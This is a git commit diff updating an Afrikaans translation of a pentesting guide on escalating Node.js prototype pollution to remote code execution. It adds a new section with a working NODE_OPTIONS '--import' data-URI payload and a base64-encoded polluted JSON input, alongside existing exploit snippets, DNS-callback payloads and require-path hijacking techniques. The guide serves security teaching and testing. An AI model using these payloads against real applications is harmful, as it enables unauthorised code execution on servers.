Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p

This commit is contained in:
Translator 2025-08-04 14:17:50 +00:00
parent 8de212b181
commit 25d03654d0

View File

@ -4,7 +4,7 @@
## Kwetsbare Kode
Stel jou 'n werklike JS voor wat 'n kode soos die volgende gebruik:
Stel jou voor 'n werklike JS wat 'n kode soos die volgende gebruik:
```javascript
const { execSync, fork } = require("child_process")
@ -41,7 +41,7 @@ var proc = fork("a_file.js")
**PP2RCE** beteken **Prototype Pollution to RCE** (Remote Code Execution).
Volgens hierdie [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wanneer 'n **proses geproduseer** word met 'n metode van **`child_process`** (soos `fork` of `spawn` of ander) roep dit die metode `normalizeSpawnArguments` aan wat 'n **prototype pollution gadget is om nuwe env vars te skep**:
Volgens hierdie [**skrywe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wanneer 'n **proses geopen** word met 'n metode van **`child_process`** (soos `fork` of `spawn` of ander) roep dit die metode `normalizeSpawnArguments` aan wat 'n **prototype pollution gadget is om nuwe env vars te skep**:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -61,15 +61,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
Kontroleer daardie kode, jy kan sien dit is moontlik om **`envPairs`** te **besmet** net deur die **attribuut `.env`** te **besmet**.
Kontroleer daardie kode, jy kan sien dit is moontlik om **`envPairs` te vergiftig** net deur die **attribut `.env` te besoedel.**
### **Besmetting van `__proto__`**
### **Vergiftiging van `__proto__`**
> [!WARNING]
> Let daarop dat weens hoe die **`normalizeSpawnArguments`** funksie van die **`child_process`** biblioteek van node werk, wanneer iets geroep word om 'n **nuwe omgewing veranderlike** vir die proses in te stel, jy net moet **besmet enigiets**.\
> Byvoorbeeld, as jy `__proto__.avar="valuevar"` doen, sal die proses met 'n var genaamd `avar` met waarde `valuevar` geskep word.
> Let daarop dat, as gevolg van hoe die **`normalizeSpawnArguments`** funksie van die **`child_process`** biblioteek van node werk, wanneer iets aangeroep word om **'n nuwe omgewing veranderlike** vir die proses in te stel, jy net iets moet **besoedel**.\
> Byvoorbeeld, as jy `__proto__.avar="valuevar"` doen, sal die proses met 'n veranderlike genaamd `avar` met die waarde `valuevar` geskep word.
>
> egter, om te verseker dat die **omgewing veranderlike die eerste een** is, moet jy die **`.env` attribuut** **besmet** en (slegs in sommige metodes) sal daardie var die **eerste een** wees (wat die aanval toelaat).
> egter, om te verseker dat die **omgewing veranderlike die eerste een** is, moet jy die **`.env` attribuut** **besoedel** en (slegs in sommige metodes) sal daardie veranderlike die **eerste een** wees (wat die aanval toelaat).
>
> Dit is waarom **`NODE_OPTIONS`** **nie binne `.env`** in die volgende aanval is.
```javascript
@ -122,7 +122,7 @@ var proc = fork("a_file.js")
```
## PP2RCE via env vars + cmdline
'n Soortgelyke payload as die vorige een met 'n paar veranderinge is voorgestel in [**hierdie skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Die hoof verskille is:
'n Vergelykbare payload met die vorige een met 'n paar veranderinge is voorgestel in [**hierdie skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Die hoof verskille is:
- In plaas daarvan om die nodejs **payload** binne die lêer `/proc/self/environ` te stoor, stoor dit dit **binne argv0** van **`/proc/self/cmdline`**.
- Dan, in plaas daarvan om via **`NODE_OPTIONS`** die lêer `/proc/self/environ` te vereis, **vereis dit `/proc/self/cmdline`**.
@ -149,9 +149,50 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
> [!NOTE]
> Sedert **Node.js 19** kan die CLI-vlag `--import` deur `NODE_OPTIONS` oorgedra word op dieselfde manier as wat `--require` kan. In teenstelling met `--require`, verstaan `--import` **data-URIs** sodat die aanvaller glad nie **skryfreëls toegang tot die lêerstelsel** nodig het nie. Dit maak die gadget baie meer betroubaar in geslote of slegs lees omgewings.
>
> Hierdie tegniek is eerste keer publiek gedokumenteer deur PortSwigger navorsing in Mei 2023 en is sedertdien in verskeie CTF-uitdagings herproduseer.
Die aanval is konseptueel identies aan die `--require /proc/self/*` truuks hierbo, maar in plaas daarvan om na 'n lêer te verwys, inkorporeer ons die payload direk in 'n base64-gecodeerde `data:` URL:
```javascript
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) same as earlier examples
fork("./a_file.js");
```
Misbruik van die kwesbare merge/clone sink wat bo aan die bladsy getoon word:
```javascript
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import
```
### Hoekom `--import` help
1. **Geen skyf interaksie** die payload beweeg heeltemal binne die proses opdraglyn en omgewing.
2. **Werk met ESM-slegs omgewings** `--import` is die kanonieke manier om JavaScript in moderne Node weergawe te prelaai wat standaard op ECMAScript Modules is.
3. **Omseil sommige `--require` toelaat-lists** 'n paar verhardingsbiblioteke filter net `--require`, wat `--import` onaangeraak laat.
> [!WARNING]
> `--import` ondersteuning in `NODE_OPTIONS` is steeds teenwoordig in die nuutste **Node 22.2.0** (Junie 2025). Die Node-kernspan bespreek die beperking van data-URI's in die toekoms, maar geen versagting is beskikbaar ten tyde van skryf nie.
---
## DNS Interaksie
Deur die volgende payloads te gebruik, is dit moontlik om die NODE_OPTIONS omgewing veranderlike wat ons voorheen bespreek het, te misbruik en te bepaal of dit gewerk het met 'n DNS-interaksie:
Deur die volgende payloads te gebruik, is dit moontlik om die NODE_OPTIONS omgewing veranderlike wat ons voorheen bespreek het, te misbruik en te bepaal of dit gewerk het met 'n DNS interaksie:
```json
{
"__proto__": {
@ -171,9 +212,9 @@ Of, om WAF's te vermy om vir die domein te vra:
}
}
```
## PP2RCE kwesbaarheid child_process funksies
## PP2RCE kwesbaarheid kind_proses funksies
In hierdie afdeling gaan ons **elke funksie van `child_process`** analiseer om kode uit te voer en te kyk of ons enige tegniek kan gebruik om daardie funksie te dwing om kode uit te voer:
In hierdie afdeling gaan ons **elke funksie van `kind_proses`** analiseer om kode uit te voer en te kyk of ons enige tegniek kan gebruik om daardie funksie te dwing om kode uit te voer:
<details>
@ -227,10 +268,10 @@ var proc = execFile("/usr/bin/node")
// Windows - not working
```
Vir **`execFile`** om te werk, moet dit **node** uitvoer sodat die NODE_OPTIONS kan werk.\
Vir **`execFile`** om te werk, moet dit **node** uitvoer vir die NODE_OPTIONS om te werk.\
As dit **nie** **node** uitvoer nie, moet jy uitvind hoe jy die **uitvoering** van wat ook al uitgevoer word **met omgewing veranderlikes** kan **verander** en dit stel.
Die **ander** tegnieke **werk** sonder hierdie vereiste omdat dit **moontlik is om** **wat uitgevoer word** via prototype besoedeling te **wysig**. (In hierdie geval, selfs al kan jy `.shell` besoedel, sal jy nie besoedel wat uitgevoer word nie).
Die **ander** tegnieke **werk** sonder hierdie vereiste omdat dit **moontlik is om** **wat uitgevoer word** via prototype besoedeling te **verander**. (In hierdie geval, selfs al kan jy `.shell` besoedel, sal jy nie besoedel wat uitgevoer word nie).
</details>
@ -468,7 +509,7 @@ In die vorige voorbeelde het jy gesien hoe om die gadget te aktiveer 'n funksion
### Beheer oor 'n vereiste lêer pad
In hierdie [**ander skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kan die gebruiker die lêer pad beheer waar 'n **`require`** uitgevoer sal word. In daardie scenario hoef die aanvaller net 'n **`.js` lêer binne die stelsel** te **vind wat 'n spawn metode sal uitvoer wanneer dit ingevoer word.**\
Sommige voorbeelde van algemene lêers wat 'n spawn funksie aanroep wanneer dit ingevoer word, is:
Sommige voorbeelde van algemene lêers wat 'n spawn funksie aanroep wanneer ingevoer, is:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
@ -502,18 +543,18 @@ done
> [!WARNING]
> Die **vorige tegniek vereis** dat die **gebruiker die pad van die lêer** wat gaan **vereis** word, **beheer**. Maar dit is nie altyd waar nie.
As die kode egter 'n vereiste gaan uitvoer na die prototipe besoedeling, selfs al **beheer jy nie die pad** wat gaan vereis word nie, kan jy **'n ander een afdwing deur prototipe besoedeling te misbruik**. So selfs al is die kode lyn soos `require("./a_file.js")` of `require("bytes")`, sal dit die **pakket wat jy besoedel het vereis**.
As die kode egter 'n vereiste gaan uitvoer na die prototipe besoedeling, selfs al **beheer jy nie die pad** wat gaan vereis word nie, kan jy **'n ander een afdwing deur prototipe besoedeling te misbruik**. So selfs al is die kode lyn soos `require("./a_file.js")` of `require("bytes")`, sal dit die **pakket vereis wat jy besoedel het**.
Daarom, as 'n vereiste uitgevoer word na jou prototipe besoedeling en geen spawn funksie nie, is dit die aanval:
- Vind 'n **`.js` lêer binne die stelsel** wat wanneer **vereis** sal **iets uitvoer met `child_process`**
- As jy lêers na die platform wat jy aanval kan oplaai, kan jy 'n lêer soos dit oplaai
- Besoedel die pades om die **vereiste laai van die `.js` lêer** wat iets met child_process sal uitvoer, te afdwing
- **Besoedel die environ/cmdline** om arbitrêre kode uit te voer wanneer 'n child_process uitvoeringsfunksie aangeroep word (sien die aanvanklike tegnieke)
- Besoedel die pades om die **vereiste laai van die `.js` lêer** wat iets met child_process sal uitvoer, af te dwing
- **Besoedel die omgewing/cmdline** om arbitrêre kode uit te voer wanneer 'n child_process uitvoeringsfunksie genoem word (sien die aanvanklike tegnieke)
#### Absolute vereiste
As die uitgevoerde vereiste **absoluut** is (`require("bytes")`) en die **pakket bevat nie hoof** in die `package.json` lêer nie, kan jy die **`main` attribuut besoedel** en die **vereiste 'n ander lêer laat uitvoer**.
As die uitgevoerde vereiste **absoluut** is (`require("bytes")`) en die **pakket bevat nie 'n hoof** in die `package.json` lêer nie, kan jy die **`main` attribuut besoedel** en die **vereiste 'n ander lêer laat uitvoer**.
{{#tabs}}
{{#tab name="exploit"}}
@ -598,7 +639,7 @@ fork("/path/to/anything")
#### Relatiewe vereiste - 2
{{#tabs}}
{{#tab name="ontgin"}}
{{#tab name="exploit"}}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -661,16 +702,20 @@ require("./usage.js")
## VM Gadgets
In die papier [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) word ook aangedui dat die beheer van **`contextExtensions`** van sommige metodes van die **`vm`** biblioteek as 'n gadget gebruik kan word.\
E however, soos die vorige **`child_process`** metodes, is dit in die nuutste weergawes **reggestel**.
Echter, soos die vorige **`child_process`** metodes, is dit in die nuutste weergawes **reggestel**.
## Fixes & Unexpected protections
Let asseblief daarop dat prototype besoedeling werk as die **attribuut** van 'n objek wat toeganklik is **onbepaald** is. As in die **kode** daardie **attribuut** 'n **waarde** **gestel** is, sal jy **nie in staat wees om dit te oorskry** nie.
Let asseblief daarop dat prototipe besoedeling werk as die **attribuut** van 'n objek wat toeganklik is **onbepaald** is. As in die **kode** daardie **attribuut** 'n **waarde** **gestel** is, sal jy **nie in staat wees om dit te oorskry** nie.
In Junie 2022 van [**hierdie verbintenis**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) is die var `options` in plaas van 'n `{}` 'n **`kEmptyObject`**. Wat **voorkom dat 'n prototype besoedeling** die **attribuut** van **`options`** beïnvloed om RCE te verkry.\
Ten minste vanaf v18.4.0 is hierdie beskerming **geïmplementeer,** en daarom werk die `spawn` en `spawnSync` **uitbuitings** wat die metodes beïnvloed **nie meer nie** (as daar geen `options` gebruik word nie!).
In Junie 2022 van [**hierdie verbintenis**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) is die var `options` in plaas van 'n `{}` 'n **`kEmptyObject`**. Dit **verhoed dat 'n prototipe besoedeling** die **attribuut** van **`options`** beïnvloed om RCE te verkry.\
Ten minste vanaf v18.4.0 is hierdie beskerming **geïmplementeer,** en daarom werk die `spawn` en `spawnSync` **eksploite** wat die metodes beïnvloed **nie meer nie** (as daar geen `options` gebruik word nie!).
In [**hierdie verbintenis**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) is die **prototype besoedeling** van **`contextExtensions`** van die vm biblioteek **ook soort van reggestel** deur opsies in te stel na **`kEmptyObject`** in plaas van **`{}`.**
In [**hierdie verbintenis**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) is die **prototipe besoedeling** van **`contextExtensions`** van die vm biblioteek **ook soort van reggestel** deur opsies in te stel na **`kEmptyObject`** in plaas van **`{}`.**
> [!INFO]
> **Node 20 (April 2023) & Node 22 (April 2025)** het verdere versterking gebring: verskeie `child_process` helpers kopieer nou gebruiker-gelewerde `options` met **`CopyOptions()`** in plaas van om dit deur verwysing te gebruik. Dit blokkeer besoedeling van geneste objek soos `stdio`, maar **beskerm nie teen die `NODE_OPTIONS` / `--import` truuks** wat hierbo beskryf is nie daardie vlae word steeds aanvaar via omgewing veranderlikes.
> 'n Volledige regstelling sou moet beperk watter CLI vlae van die ouer proses gepropageer kan word, wat in Node Issue #50559 gevolg word.
### **Other Gadgets**
@ -682,6 +727,8 @@ In [**hierdie verbintenis**](https://github.com/nodejs/node/commit/0313102aaabb4
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
{{#include ../../../banners/hacktricks-training.md}}